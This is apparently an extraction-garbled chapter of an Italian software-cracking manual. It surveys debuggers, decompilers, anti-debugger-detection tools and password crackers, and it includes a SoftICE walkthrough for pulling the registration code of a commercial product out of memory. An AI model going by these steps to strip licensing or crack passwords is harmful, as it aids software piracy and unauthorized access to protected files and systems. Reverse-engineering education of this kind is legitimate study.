Pointer to Line Numbers: 00000000
Number of Relocations: 0000
Number of Line Numbers: 0000
Characteristics: Section contains code
Section is executable
Section is readable



Header Information

Signature: 5a4d
Last Page Size: 0050
Total Pages in File: 0002
Relocation Items: 0000
Paragraphs in Header: 0004
Minimum Extra Paragraphs: 000f
Maximum Extra Paragraphs: ffff
Initial Stack Segment: 0000
Initial Stack Pointer: 00b8
Complemented Checksum: 0000
Initial Instruction Pointer: 0000
Initial Code Segment: 0000
Relocation Table Offset: 0040
Overlay Number: 001a
Reserved: 0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000
Offset to New Header: 00000100
Memory Needed: 1K


Le i nf or mazi oni t r oncat e er ano r el at i ve al l e f unzi oni espor t at e l e qual i sono
most r at e suddi vi se per DLL da cui der i vano.
I nol t r e ho t agl i at o l e i nf or mazi oni l egat e ai segment i l asci ando sol o quel l e
r el at i ve al CODE segment .
L anal i si di quest e i nf or mazi oni i l punt o di par t enza i n quant o vedendo l e
f unzi oni usat e per met t e di capi r e qual i sono i met odi PROBABI LMENTE ut i l i zzat i
per cer t i scopi qual i ad esempi o l a l et t ur a dei codi ci di r egi st r azi one, per l a
compar azi one ecc.
L i dent i f i cazi one del l e f unzi oni cor r et t e usat e per l egger e i codi ci di
r egi st r azi one sempl i f i cano l a cr eazi one e l at t i vazi one dei br eakpoi nt adat t i
dove i nt er r omper e i l codi ce per anal i zzar e i l pr ocesso di compar azi one.
Se l a t abel l a pr ecedent e vi most r a l a pr esenza di una f unzi one del t i po
Get Dl gI t emText A, sapendo che quest a vi ene usat a per l egger e dat i da campi
d edi t , al l or a pot r est e usar e i comandi per l a cr eazi one di br eakpoi nt , di
Sof t I ce ad ezsempi o, nel seguent e modo:

BPX GetDlgItemTextA

Quest a i st r uzi one bl occher ebbe l esecuzi one del pr ogr amma r i por t andovi al l a
l i nea di codi ce assembl er dove st at a f at t a l a chi amat a.
Da quel punt o, eseguendo passo a passo pot r est e cer car e di capi r e i l
f unzi onament o del l a r out i ne.

TR for Win95 (ShareWare version)
LiuTaoTao in China
[email protected]
[email protected]
http://www.netease.com/~ayliutt

Un debugger non mol t o compl i cat o ma abbast anza buono TRW i qual e possi ede
f unzi oni speci f i che per i f i l es PE.
Un pr obl ema di TRW che l e i st r uzi onei sul l a pagi na WEB sono i n ci nese.
I l seguent e f i l e r eper i t o su I nt er net most r a al cune i nf or mazi oni i n i ngl ese t r a
cui ci sono l e spi egazi oni del l e f unzi oni di TRW.

Functions done:
. load PE runtime & command line
. hook all API
. load NE at command line, in full-screen DOS window
. set options in TRW.ini
. Ring0 keyboard handler
. asm
. file write
. instance comment
. BPM BPR BPX
. dot command
. load DOS app
. trace DOS app into protect mode
. BPIO
. make PE from memory!
. press hot key Ctrl+L anytime
.

Functions will be done:

. show more information about Win95
. add some function like IDA, support IDC
. add some funtion to auto unshell,auto kickdog...
. mouse support
. test mode
. bp message
. heap
.

Test Dos Protect Mode app
1. begin a dos windows in Win95
2. run TRW in another dos windows
3. run 'trnewdos' in TRW
4. in another dos window, run PMODE.EXE
5. back to TRW, you will find you are at the beginning of the
DOS program.
g 342
t
g 342
6. Press <F8> for some times, now enter 16bit protect mode!
7. 'g 4dd', Press <F8> for some times, now enter 32bit protect mode!
or just:
g if cs<100 ;this will run to PM16!
g if cs!=cs ;try to run to PM32
g if cs!=cs ;again, and we are in PM32

Test Make PE from memory
del newpe.exe
TRW msg.exe
MKPE
PEcompare msg.exe newpe.exe

or: PESHIELD msg.exe
PECRYPT msg.exe
PELOCK msg.exe
PE?? msg.exe
del newpe.exe
TRW msg.exe
g 4010fd ;this is the entrypoint, I know
mkpe ;eip will be the new PE's entrypoint
PEcompare origin_msg.exe newpe.exe

Always del newpe.exe before 'MKPE', or TRW will append it!
test1:
trw msg.exe
<f8>,<f8>,<f8>....
q

test2:
trw msg.exe
g

test3:
trw msg.exe
<f8>,<f8>
<Alt+Tab> ;Now in Win95 desktop, press <Alt+Tab> again to back
q

test4:
trw ne.exe
<f8>,<f8>
g ;you can not 'q' when trace a NE app

test5:
trw msg.exe
g ord_61
<f8> some times,back-color of statusline changed means we are
in critical status. Now <Alt-Tab> is disabled.
g

test6:
trw msg.exe
g GetVersion
pret
<f8>
g

test7:
trw msg.exe
bpx messageboxa
g
bc ;clear all breakpoint
g

test8:
trw msg.exe
<f8>
w cs:eip,eip+70 >dump.txt ;write mem dump to file
u cs:eip,eip+20 >asm.txt ;write unasm output to file

test9:
trw msg.exe
<f8>
bpio 21
r edx 21
e 401112 ec ;in al,dx
g 40111f ;bpio will break at 401112
q

Test auto change Ring0 & Ring3 keyboard handler:
1. TRW msg.exe
2. <F8> some times
3. press <Alt>+<Tab>, now you can change to other task
because TRW use Ring3 keyboard handler.
4. g ord_61, After the 'dec ...', you can not press
<Alt>+<Tab> anymore, because now TRW use Ring0 keyboard handler.
5. g ord_62, press <F8> some time, we back to Ring3 again.


Commands

H [ command]
di spl ay hel p f or al l commands, or t he gi ven command i n det ai l .

HWND [ HWND]
Di spl ay wi ndow handl e i nf or mat i on.

FKEY [ f unct i on- key st r i ngs]
Di spl ay/ Set Funct i on keys
ex:
FKEY
FKEY f 10 d 2; U 3: 4
PageIn <addr ess>
Load t he not pr esent page t o memor y.
PageI n cs: 401000

Lines [ 25 | 43 | 50 | 60]
Set / Di spl ay scr een l i nes
ex: l i nes 43

MKPE
Make a PE pr ogr am' newpe. exe' f r omt he memor y.
Al ways ' del newpe. exe' bef or e ' MKPE' , or TRWwi l l append i t !
Cur r ent EI P wi l l be t he new ent r ypoi nt .

A ut i l i n TRW' PEcompar e' can hel p you compar e t he or i gi n PE
and NewPE t o t est how TRWwor k.

PEDUMP
Dump PE i mage memor y di r ect t o f i l e ' PEDUMP. EXE' .
You can use G_Rom' s MakePE t o r ebui l d a val i d PE.

BPIO por t
Br eakPoi nt on por t I / O

BPR st ar t _addr end_addr
Br eakPoi nt on Range access.


BP [ [ seg: ] addr ess]
BPX [ [ seg: ] addr ess]
Br eakPoi nt on Execut e
' BPX of f set ' when t r ace a DOS app wi l l i gnor e segment .
On t r aci ng a PE t hr ead, t hi s i s same as ' BPM X' .

One- Ti me Br eakPoi nt commands
each ' BPXX' command can be r epl aced as ' GOXX' f or a one- t i me br eak- poi nt .
TRWwi l l set t hi s br eakpoi nnt , go, and cl ear i t .
gor f s: 0 f s: 10
gomd r ds: 40000

BP i f condi t i on
Br eakPoi nt on condi t i on
bp i f eax>=3456787
bp i f dx<543
bp i f ch==23
go i f ah! =34
go i f new_sect i on

RS
Rest or e User Scr een. ( F4) .
I n most t i me, you can Al t +Tab t o swi t ch t o your APP.
Ct r l +L or Al t +Tab t o r et ur n t o TRW.

WC [ codewi ndow_l i nes]
Set l i nes of code wi ndow. No par amet er wi l l t ur n i t on/ of f .
ex:
wc 25
wc

WD [ dat awi ndow_l i nes]
Set l i nes of dat a wi ndow. No par amet er wi l l t ur n i t on/ of f .
ex:
wd 25
wd


WMSG -
Di spl ay wi ndows
messages
usage:
WMSG
[ par t i al - name]
[ WMSG- number ]

. . .

Hot Key Ct r l +L
Most t i me,
you can Al t +Tab
t o swi t ch
bet r een your app
and TRW.
I f t hi s
was di sabl ed,
you can pr ess
Ct r l +L t o back
t o TRWqui ckl y.


Ser vi ces

TRWpr ovi des UNASM ( and ASM ?) ser vi ce t o DOS pr ogr ams.
Check t est 1. asmf or mor e.


Al cune vol t e i l pr obl ema l egat o al cr acki ng di si st emi zi ppat i .
Un ot t i mo passwor d cr acker :


ULTRAZIP PASSWORD CRACKER
All copyrights to UZPC are owned by Ivan Golubev.

Passwor dCr acker r i esce a cr ear e i n cont i nuazi one combi nazi oni di car at t er i che
vengono usat e per
t ent ar e di decodi f i car e
f i l e . ZI P pr ot et t i da
passwor d.
Di spone di di ver si
met odi sel ezi onabi l i da
set up.
Le par ol e possono
esser e scel t e da
vocabol ar i , gener at e
con condi zi oni
( mi nusol e, mai uscol e, numer i ecc. )
Esi st ono di ver si pr ogr ammi si mi l i a quel l o appena vi st o che agi scono su r et i e
l a l or o f i nal i t quel l a di t r ovar e passwor d di si st emi Uni x o NT.
Uno di quest i :

S T A R C R A C K E R v1.0b1
b y T h e S O r C E r E r
[email protected]
http://www.chez.com/thes

St ar Cr acker esi st e per l a ver si one UNI X e per Wi ndows NT.
I l sof t war e si basa su un vocabol ar i o di par ol e.
La si nt assi l a seguent e :

STAR CRACKER v1.0b1 Copyright (c) 1997, The SOrCErEr

Usage: starcrak <flags> [<password file(s)>]
Flags: -pwfile:<file>[,..] Set password file(s)
-single -xingle Turn on single or extended single crack mode
-wordfile:<file> -stdin Turn on wordlist mode and use <file> or stdin
-grammar:<rule>[,..] Set grammar mode to specified grammar rule(s)
-combination[:<mode>] Turn on combination mode
-stats:<new_mode> Make statistics and create file <new_mode>.sta
-rules -norules Rules for wordlist / No rules for single modes
-users:<login|uid>[,..] Crack this (these) user(s) only
-groups:[!]<gid>[,..] Crack users of this (these) group(s) only
-shells:[!]<shell>[,..] Crack users having this (these) shell(s) only
-filter:<filter_name> Turn on this words filter
-timeout -timestep:<m> Set timeout or timestep delay in minutes
-stop:<n> -step:<n> Stop/step to next mode after <n> passwds found
-restore[:<file>] Restore a session
-show Show cracked passwords from the pwfile(s)
-beep -quiet Turn on/off beep when a password is guessed
-test -min:<l> -max:<l> Make a benchmark / Set min or max word length
-list Display each word tested
-salt -disp Crack salt by salt / Display current salt
-noname -nohash Don't use memory for logins or hash tables


SOFTWARE SPECIALI

Una menzi one deve esser e f at t a a sof t war e par t i col ar i .
Mol t i l i nguaggi , J ava ad esempi o, f i no a qual che t empo f a vi aggi avano con
RunTi me at t accat i per cui si t r asci navano di et r o gr an par t e del l e i nf or mazi oni
si mbol i che der i vant i dai sor gent i or i gi nal i .
Spesso Sof i I ce e Wdasmmost r ano l e i nf or mazi oni con uno st i l e del t i po :

CALL MyProgram.FUNCTIONCopy

Quel l a CALL MyPr ogr am. FUNCTI ON1 dar ebbe i ni zi al ment e una pi ccol a par venza di
si mbol i co anche se di f at t o non l o per ni ent e.
Sucur ament e MyPr ogr am non una st r i nga der vant e da una symbol t abl e ma
sempl i cement e SI che sapendo l e r i gghe sono nel pr ogr amma MyPr ogr am, aggi unge
appunt o i l nome per di r e che l a f unzi one r el at i va al pr ogr amma MyPr ogr am.
FUNCTI ON1 i nvece sar un nome i nvent at o per sempl i f i car e l a vi sual i zzazi one.
I n al t r e par ol e SI o i l debugger hanno sost i t ui t o un i ndi r i zzo con un nome
si mbol i co i nvent at o.
Li nguaggi come j AVA, Vi sual Basi c , Cl i pper ecc. i nvece por t avano gr an par t e del
l or o codi ce or i gi nar i o con l or o t ant o che al cuni pr ogr ammi pot evano
r esour ci zzar e ( r i sor gent i zzar e i n i t al i ano) i pr ogr ammi .
Pr ecedent ement e ho par l at o di J AD che r i esce a r est i t ui r e i l sor gent e J AVA
par t endo da un . cl ass.
Or mai i pr ogr ammi Cl i pper , o al meno cer t e ver si oni , sono ogget t i da museo per
cui t r at t ar e cer t i pr ogr ammi non ne val e l a pena.
Ho t r ovat o r ecent ement e un CD i nt i t ol at o HACKER che di ceva :
Svel at i i mi st er i dei vi r us. Conoscer e l e t ecni che r i por t at e sul CD vi
per met t er di gi r ar e t r anqui l l ament e su i nt er net senza pr ender vi pi vi r us.
La scr i t t a i deal e sar ebbe st at a :
Non gi r at e pi su i nt er net per pr ender vi vi r us. I nser i t e quest o CD
pr endet evel o di r et t ament e qui .
I nf at t i pr opr i o i n un pr ogr amma i nt i t ol at o THI EF. EXE che spi ega come non
pr ender e i l vi r us THI EF pr esent e un vi r us.
Quest o per f ar vi capi r e l al t i ssi ma qual i t del pr odot t o.
I l CD st at o pubbl i cat o nel 1998 e l a ver si one di WDASM r i por t at a l a 1. 2
( oggi si amo al l a 8. 9) .
Per f ar l a br eve i n quest o CD sono pr esent i al cuni di sassembl at or i per Cl i pper e
Vi sual Basi c.
Tr a i decompi l er r i por t at i esi st e uno per J ava scr i t t o i n ADA.
Vi r i por t o i l nome anche se di f at t o non l ho neppur e pr ovat o dat o che f i no ad
or a J AD non ha sbagl i at o una sol o decompi l azi one.
Si t r at t a di :

DECAF
Gilles Demailly - [email protected]
(this email address and the Decaf Homepage site are provided by friends from
TeleObjet, please check their home page at :
http://ourworld.compuserve.com/homepages/teleobjet/Homepage.htm)

L i nt er esse maggi or e st a nel f at t o che st at o scr i t t o i n ADA ed f or ni t o con i
sor gent i .
Per i t eor i ci uni ver si t ar i i n bal i a di docent i con mani e st r ane ( si mul at or i di
pr ocessor i i n scheme, r i pr oduzi one del concet t o di f avol a i n assembl er )
pot r ebbe esser e i nt er essant e.
Un al t r o decompi l er r el at i vo a FOXBASE.

FOXDCOMP
A DECOMPILER FOR FOXBASE PROGRAMS
by Doyle and Associates
Doyle and Associates
101 Westminster Road
Rochester, NY 14607
Telephone: (716) 461-1148
Uno dei pochi sof t war e st r ani che di cendo l a ver i t non ho ancor a capi t o bene
i l seguent e.
Vi r i por t o i l f i l e README da cui pot et e veder e l e pot enzi al i t .
Veder l o i n f unzi one ha l o st esso st i l e dei pr ogr ammi DOS del l a Bor l and.

IDA Version 2.05
-----------------
Fidonet: 2:5020/209@fidonet
Internet: [email protected]


Welcome to the First True Interactive Disassembler which allows you
to explore and modify even compressed executable files !

Disassembling for: Intel 8080
Intel 8085
Z 80 (not full)
Intel 8086
Intel 80286/287 real & protected
Intel 80386/287 real & protected
(32-bit processing)
Interactive mode: YES
Menu driven mode: YES
Command language: built-in C-like language
MultiWindow: YES
MultiTasking: Background analysis
Semi-batch mode: YES
Multisession: YES
Number of segments: UNLIMITED
There is a limit on the number of
contigious non-adjacent memory chunks.
It is about 170.

Size of input file: UNLIMITED
Number of cross-references: UNLIMITED
AutoComment: BIOS & DOS interrupts
(comments for all commands are available)
Max length of one comment: 255 chars
Number of lines per
instruction/data 100
Keyboard redefenition: YES
Screen colors redefinition: Temporarily not available
Input file patching: YES
Output file types: EXE (patched input file)
COM (patched input file)
BIN (patched input file)
ASM (output source code)
MAP (output MAP file for debugging)
IDC (IDC program to recreate IDA database)


Per quant o r i guar da i l di sassembl aggi o di CLI PPER 5 pot et e pr ovar e i l segeunt e
sof t war e.

Valkyrie 5 DEMO
Terminal Impact
2222 Foothill Blvd. #312
La Canada, CA 91011 USA
Tel: 818-790-0599
Fax: 818-790-0699
BBS: 818-790-0799
WWW: http://www.terminal-impact.com

Ci t engo a r i pet er e che quest e, nel pr esent e capi t ol o, sono sol o i nf or mazi oni
che vogl i o r i por t ar e per event ual emnt e ai ut ar e a r eper i r e cer t o sof t war e a chi
ne ha bi sogno.
I o per sonal ment e non l ho pr ovat o per cui l uni ca cosa che pot et e f ar e se vi
ser ve quel l a di col l egar vi sui si t i r i por t at i e di ver t i r vi a vost r e spese.
Or a si amo ar r i vat i a Vi sual Basi c.
Tut t o i l r eadme i n t edesco per cui non ho capi t o se l e i nf o seguent i sono
val i de.

VBDis3 - DER Discompiler fr Visual Basic
DoDi
(MausNet: Hans-Peter Diettrich @ S)

I n un' al t r a di r ect or y del di sco compar e l a ver si one per VB4.

VBOpt4 - DoDi's Disassembler for VB4
(Dr. H.-P. Diettrich)
CompuServe: 100752,3277
Internet: [email protected]
WWW: http://ourworld.compuserve.com/homepages/DoDi

I n quest o caso l e i nf o sono i n i ngl ese e sul l o st esso si par l a anche di VB5.

Esi st ono ut i l i t i es f or ni t e con i si st emi di svi l uppo che per met t ono di svol ger e
al cune f unzi oni vi st e con al t r e ut i l i t i es.
Ad esempi o LI NK. EXE e DUMPBI N. EXE ( Vi sual C++ 32- bi t edi t i on) possono esser e
usat i per esehui r e i l dump del por t abl e execut abl e ( PE) header di un f i l e
esegui bi l e.
I l segunet un f r amment o del dump

7300 address of entry point
7000 base of code
B000 base of data
----- new -----
10000 image base

I l val or e di " i mage base" di 10000 l i ndi r i zzo dove i l pr ogr amma i ni zi a nel l a
memor i a.
I l val or e asoci at o con " base of code, " " base of dat a, " e " addr ess of ent r y
poi nt " sono t ut t i of f set s dal l i mage base.

Mi cr osof t ogni t ant o r i l asci a del l e r accol t e di sof t war e l egat e ai suoi pr odot t i
e qui ndi r el at i vi a Wi ndows, l i nguaggi var i ecc.
Nel l ul t i ma ver si one r i l asci at a possi bi l e t r ovar e Mi cr osof t Wi ndows Syst em
Debugger ( WDEB386. EXE) i l qal e usat o per t est ar e e debuggar e appl i cazoni
Wi ndows, dynami c- l i nk l i br ar i es ( DLLs) , e devi ce dr i ver vi r t ual i ( VxDs) .
possi bi l e l anci ar e i l syst emdebugger t r ami t e l a l i nea di comando oppur e
speci f i candol o nel f i l e SYSTEM. I NI .
Pr i ma di par t i r e bi sogna segui r e i seguent i passi .

Connet t et e un t er mi nal e ser i al e od un al t r o comput er al l a por t a ser i al e del
comput er che st at e debuggando.
Cr eat e o pr epar at e i symbol f i l es del l appl i cazi one, DLLs, e VxDs che vol et e
debuggar e.

I f i l e si mbol i ci dei dr i ver e del l e DLL di si st ema sono f or ni t e con i l DDK.
I n ogni caso quest o t i po di debugger non deci sament e quel l o che ser ve per
compi t i come i nost r i se non per cer t i casi l egat i ad al t r i t i pi di pr ot ezi oni
del sof t war e come ad esempi o chi avi har dwar e o sof t war e che comunque possi edono
agganci a dr i ver .


Cool Debugger for Win32
version : 1.2
Author : Wei Bao (in chinese : )
Email : [email protected] [email protected]
HomePage: http://www.nease.net/~baowei


Cool debugger un pr ogr amma si mpat i co mol t o compat t o che cont i ene al suo
i nt er no t ut t e l e ut i l i t y necessar i e a par t i r e dal debugger , al dump hex, al
vi sual i zzat or e di i nf or mazi oni t i po ScanBi n.
Di ci amo che si t r at t a di un t ut t o i n uno.
Per met t e di esegui r e l o st ep by st ep come i f r at el l i pi gr andi t r at t andosi di
un ver o e pr opr i o debugger e non sol o di un di sassembl at or e.
Le car at t er i st i che del l ul t i ma ver si one di chi ar at e dal l aut or e sono :

Features in v1.2
1. Unassembly upto MMX/P6 opcode
2. Assembly upto Pentium opcode
(without FPU opcode, do you really need it? tell me.)
3. Hook all imported functions (like system dll call) that are called APIs .
All hooked APIs are counted when called.
4. MultiThread enabled
5. Emulation - Automatic trace through the debugee until a breakpoint is met.
6. Log the API call history
7. When a value is needed, an expression can be used. (like eax + ebx,
[ecx + 3] + ebx)
8. Delphi 3.0 object structure recognizing(only for registered user)
9. more ... ? If you ask for more, let me know. :)

Per l e di mensi oni che possi ede COOLDB devo ammet t er e che svol ge l e sue f unzi oni
mol t o megl i o di al t r i pacchet t i che a pr i ma vi st a sembr er ebber o pi
pr of essi onal i .
Al cune vol t e i pacchet t i di cl asse super i or e cr eano dei pr obl emi .
Ad esempi o l e ul t i me ver si oni del l a pr ot ezi one VBOX se r i escono a i nt er cet t ar e
Sof t I ce escono senza t ant e st or i e.
I n al t r e par ol e usar e Sof t I ce di vent a compl esso.
Cool Db r i esce i n quest o caso a non f ar e accor ger e i l si st ema di pr ot ezi one che
esi st e un debugger car i cat o.
DEWI N i nvece un pr ogr amma che r i esce a f ar e i l dump di un pr ogr amma Wi ndows
scr i vendol o su f i l e.
I l pr ogr amma vi ene f or ni t o con t ant o di sor gent i .

0040106E: cmp w ecx,03
00401071: jnz 004010B9
00401073: xor esi,esi
00401075: cmp eax,esi
00401077: jz 00401085
00401079: mov eax,[0042DDCC]
0040107E: push eax
0040107F: call [0042511C] ; --> GlobalFree
00401085: push ebx
00401086: mov [0042DDCC],esi
0040108C: call [00425120] ; --> GlobalDeleteAtom
00401092: cmp [00428678],esi
00401098: jz 004010C8
0040109A: mov ecx,[0042BE4C]
004010A0: mov edx,[0042A574]
004010A6: push esi
004010A7: push ecx
004010A8: push 03E1
004010AD: push edx
004010AE: call [004252E8] ; --> PostMessageA
004010B4: pop esi
004010B5: pop ebx
004010B6: retn 000C ; disk offset 10B9h

I l pr ecedent e un pi ccol o pezzo di dump esegui t o con DEWI N dal qual e
possi bi l e veder e l accur at ezza abbast anza buona che mant i ene segnal ando a f i anco
ad ogni cal l di qual e f unzi one API si t r at t a.

Come di cevamo pr i ma al cuni f i l e per i nst al l ar si r i chi edono i l codi ce i n f ase di
SETUP.
Per pot er r i usci r e ad ent r ar e si deve decompi l ar e anche i var i f i l es cr eat i da
I NSTALL SHI ELD, WI SE ecc.
I seguent i f i l es sono decompi l at or i di quest i pr ogr ammi di set up.

Windows.Installshield.Decompiler.V1.00.Beta
[NaTzGUL/SiraX Production '98 ]

I l pacchet t o si compone dei seguent i f i l es :

wisdec.exe - Windows Installshield Decompiler V1.00 Beta Main Exe File
wisdec.hlp - Windows Installshield Decompiler V1.00 Beta Help File
wdtut1.htm - Windows Installshield Decompiler V1.00 Beta Tutorial #1
isdecomp.htm - NaTzGUL's Windows Installshield Script Cracking Tutorial
file_id.diz - Program Description
filelist.txt - File Listing

L hel p mol t o cor poso e ben f at t o.
I l pr ogr amma por t ent oso i n quant o r i esce a r i cost r ui r e l o scr i pt che ha cr eat o
i l set up.
Dat e un occhi at a a che bel I NVALI D SERI AL NUMBER dent r o al l a seguent e
i mmagi ne.

Beh.
Dopo quest o suf f i cent e r i compi l ar e con I NSTALL SHI ELD e vai . . .
Magar i non sempr e cosi sempl i ce ma comunque i l pr ogr amma una gr an cosa.

Per quant o r i guar da i nvece i f i l es cr eat i dal set up WI SE abbi amo :

exwise v0.5
(c) 1998 Andrew de Quincey
http://www.tardis.ed.ac.uk/~adq
[email protected]

I l pr ogr amma f or ni t o con t ant o di sor gent i .

Pr ogr ammi par t i col ar i adat t i al l anal i si di f i l e . EXE sono :

[ ] EXESCAN v3. 21 [ ]
The Execut abl es' Anal yzer
Copyr i ght ( C) 1997- 98 by ST! LLS0N

Feat ur es:
* Desi gned f or unpacki ng especi al l y
* I dent i f i es al most any EXE/ COM
packer , cr ypt er , pr ot ect or and
t he most f amous compi l er s
* MZ/ LE/ LX/ NE/ PE header s r ecogi zi ng
* Wi n32 execut abl es anal yzi ng
* DeepScan mode ( det ect s mor e t han
one i t emat once)
* Gener i c det ect i on
* TEU unpacker suppor t
* Bui l t - i n di sassembl er
* The most power f ul EXE- anal yzer
avai l abl e t oday!
* Fr eewar e. Per sonal r egi st r at i on!

[ dOS/ wI N aNALYZERS] [ December , 1998]

Quando mpar l avamo di Sof t I ce di cevamo che mol t i pr ogr ammi t ent ano di
i nt er cet t ar l o.
Fr ogI CE per met t e di nasconder e Sof t I ce.

FrogsICE is a VxD (Virtual device driver for Windows, just like a good old TSR
for DOS).
It allows you to intercept programs (exe or COM, DOS/Win16 or Win32) which would
try to
detect if SoftICE is loaded. It is particularly useful for packed/encrypted
programs.

FrogsICE runs ONLY on Win95/98 OS.

Dove t r ovar l o ?

+Fr og' s
www. t hepent agon. com/ f r og_s_pr i nt

Sempr e nel campo di Sof t I ce t r ovi amo I cedump di cui vi r i por t o i nt egr al ment e i l
f i l e . I DZ

ICEDUMP beta 5 build 15

1999-09-15

Dumper for Softice for Win9x.

- Implemented as an internal Winice
command (PAGEIN).

- Subcommands:

dump memory to file
load file into memory
dump via Bhrama/Procdump
dump winice screen to file (ascii/html)
suspend/resume thread/process
set page table entry flags
change FPU registers
dynamic update of PAGEIN patch
start/stop playing tracks on CD
print usage info ;-)

- Simple anti debugger detection code:
Int1/Int3/Int4/Int5 IDT entries will
be changed so that simple offset
compares would no longer detect winice.

- Parser accepts expressions whereever
possible.

- Supports V86, ring-3/16, ring-3/32
and ring-0/32 protected mode clients
whenever possible.

- No restrictions for size of memory
block and path/name of dump file.

- Fool-proof internal parser and
dumper (but do RTFM ;-).

- Sources are included, now you can
even modify them to your liking.

Pr ecedent ement e, par l ando di REGSNI F o di quel l e ut i l i t i es che cr eavano dei DUMP
di si st ema per cont r ol l ar e l e modi f i che f at t e da un pr ogr amma i nst al l at o, avevo
det t o che pot eva esser e ut i l e conoscer e qual i chi avi veni vano aggi unt e al f i l e
di r egi st r o, qual i f i l es veni vano i nser i t i nel f i l e syst em.
Bene.
I NWATCH un ut i l i t y che cont r ol l a i l si st ema dur ant e l i snt al l azi one di
pr ogr ammi .
Quest o pr ogr amma i nol t r e i n gr ado di esegui r e dei backup dei f i l es pr i ma
del l i nst al l azi one.

Successi vament e possi bi l e esegui r e dei conf r ont i o al l i mi t e r est or ar e l a
si t uazi one.

Un ut i l i t y pi ccol a ma
car i na SPY Wi ndows che
per met t e di i nt er cet t ar e i
messaggi di r et t i ad una
cer t a f i nest r a.
E i nol t r e possi bi l e
i nvi ar l i .
I l sol i t o mi r i no
spost abi l e sul l a f i nest r a
desi der at a per met t e di
sel ezi onar e qual e handl e
ut i l i zzar e.
I l pr ogr amma r i cor da l e
ut i l i t es di Mi cr osof t .
Spy Wi ndows di vent a ut i l e
per veder e, pr i ma di usar e
qual che br eakpoi nt sui
messaggi , qual i messaggi
sono gener at i da una cer t a
f i nest r a.
I l pr gr amma l o t r ovat e a :

Spy & Capur e Ver si on 2. 70
Kobi Kr i chmar
E- Mai l : kr i chmar @hot mai l . com
Web Si t e: ht t p: come. t o/ kobi k

La par t e t er mi nal e, dopo aver t r ovat o i punt i da modi f i car e, del l a f ase di
debuggi ng quel l a r el at i va al l a cr eazi one del l e pat ch.
Chi r ament e i o l a met t o sot t o f or ma di pat ch cr eat e per spr ot egger e qual che
sof t war e anche se l e pat ch possono esser e anche quel l e che vengono cr eat e per
por r e r i medi o a pr obl emi di pr ogr ammi commer ci al i zzat i .
Comunque si a l or i gi ne del l a pat ch i l pr ogr amma mi gl i or e Pt achI T.



I l pr ogr amma per met t e di cr ear e un l i st a dei f i l e a cui appl i car e l e pat ch e
per met t e anche di cr ear e dei messaggi da vi sual i zzar e dur ant e l esecuzi one di
quest e.
Se per caso t r ovat e i l modo di cr ackar e un f i l e e vol et e pubbl i car e l a vost r a
modi f i ca pot et e usar e Pat chI T per cr ear l a e r ender l a i ndi pendent e.

Un al t r a ut i l i t y si mpat i ca EXESCAN l a qual e per met t e di anal i zzar e dei f i l es
esegui bi l i e di i dent i f i car e qual i sono st at i i compi l at or i che l o hanno
pr odot t o.
EXESCAN i nol t r e i n gr ado di i dent i f i car e i pr ot et t or i , i pat cher s e i packer s.
I f or mat i r i conosci ut i sono :

compilers:
Borland C
Borland Pascal
Watcom C
TMT Pascal
Microsoft C
GNU C
Symantec C
PowerBASIC
Zortech C
QuickBASIC
Turbo Basic
PL/I-86

packers/protectors:
Alec v1.6
ProtEXE v3.10/v3.11
Protect! EXE/COM v6.0
CrackStop v1.0b-v1.03
PCrypt v3.50
HackStop v1.18
Ciphator Pro v4.6
EXE Manager v3.0
Secure v0.19
Xorer v2.0
NoDebug v1.0
RCC II/286 v1.14
Crypt/Dismember v1.7
Anti-TEU v0.9
XPack v1.65-v1.67
PGMPack v0.13
DOP''s CRYPTEXE v1.04
PSP''s EXE2COM v2.0

E quest a sol o una l i st a par zi al e dei f or mat i r i conosci ut i .
Un pr ogr amma st r ano ma car i no CUSTOMI ZER.

www.ozemail.com.au/~wanga
Wanga International
PO. Box 64
Carlton North 3054
Victoria
Australia
Fax +613 93804419

I l pr ogr amma una pot ent e ut i l i t y che per met t e di i nt er agi r e e mani pol ar e t ut t e
l e wi ndows sul l a macchi na.
Le f i nest r e, o di al og, scr ol l bar s, pul sant i ecc. possono esser e cont r ol l at e
di r et t ament e da CUSTOMI ZER.
Ogni modi f i ca pu esser e sal vat a i n modo per manent e.
I l avor i che possono esser e f at t i sono :

Cambiare il testo di ogni oggetto.
Abilitare o disabilitare qualsiasi oggetto
Muovere il controllo nella finestra
Interagire con altre applicazoni.
Determinare password nascoste.
Trovare oggetti nascosti




SMARTCHECK by NUMEGA

Avevamo i ni zi al ment e par l at o di SMART CHECK i l qual e, anche se i ndi r i zzat o a
Vi sual Basi c, per met t e di moni t or ar e un pr ogr amma al f i ne di r i cer car e er r or i e
di sf unzi oni ma anche sempl i cement e per cont r ol l ar e l e f unzi oni API r i chi amat e.
E possi bi l e r eper i r e l a ver si one spr ot et t a del l a ver si one ed i n ogni caso
sempl i ce cer car e di el i mi nar e l a pr ot ezi one pr esent e nel l a 5. 0 f acendol o con i l
suo f r at el l i no Sof t I ce.
Per f ar l o suf f i ci ent e i nser i r e un br eakpoi nt cer cando di i nt er cet t ar e
Get Wi ndowText con :
bpx GetWindowText

I l pr ogr amma si i nt er r omper su :

CALL USER!GETWINDOWTEXT
LEA AX,[BP-32] ; in ax lindirizzo di quanto avete inserito
PUSH SS ; Il segmento ...
PUSH AX ; offset
PUSH DS ; Il segmento della password reale
PUSH 06BA ; il suo offset
CALL USER!LSTRCMP ; Le compara

Or a per veder e l a passwor d f acci amo un DUMP del l i ndi r i zzo DS: 06BA

d ds:06ba l 64

Or a dovr est e aver e l a passwor d, e i nvece avr emo &Smc50- 14d%di nanzi agl i occhi .
I nst al l i amo i l pr ogr amma nor mal ment e e r i at t i vi amol o l anci ando un pr ogr amma a 32
bi t s.
Compar e l a mascher a i n cui vi ene r i chi est o l unl ock code.
Andi amo nuovament e nel debugger e at t i vi amo nuovament e i l br eakpoi nt .
Ci f er mer emo su :

ADD ESP,04 LEA EAX,[EBP-14] ; Vostra password
LEA ECX,[EBP-28] ; La password corretta
PUSH EAX
PUSH ECX
CALL 10005680

Di gi t ando :

d ecx l 64

avr emo i 16 byt es del codi ce.

Ri t or ni amo a Smar t Check come
pr ogr amma.
Bi sogna sot t ol i near e che l a sua
speci al i zzazi one r el at i va a
Vi sual Basi c come per t ant i al t r i
pr ogr ammi di NuMega ( Fai l Saf e,
BoundChecker ecc. )
I n pr at i ca Smar t Check svol ge una
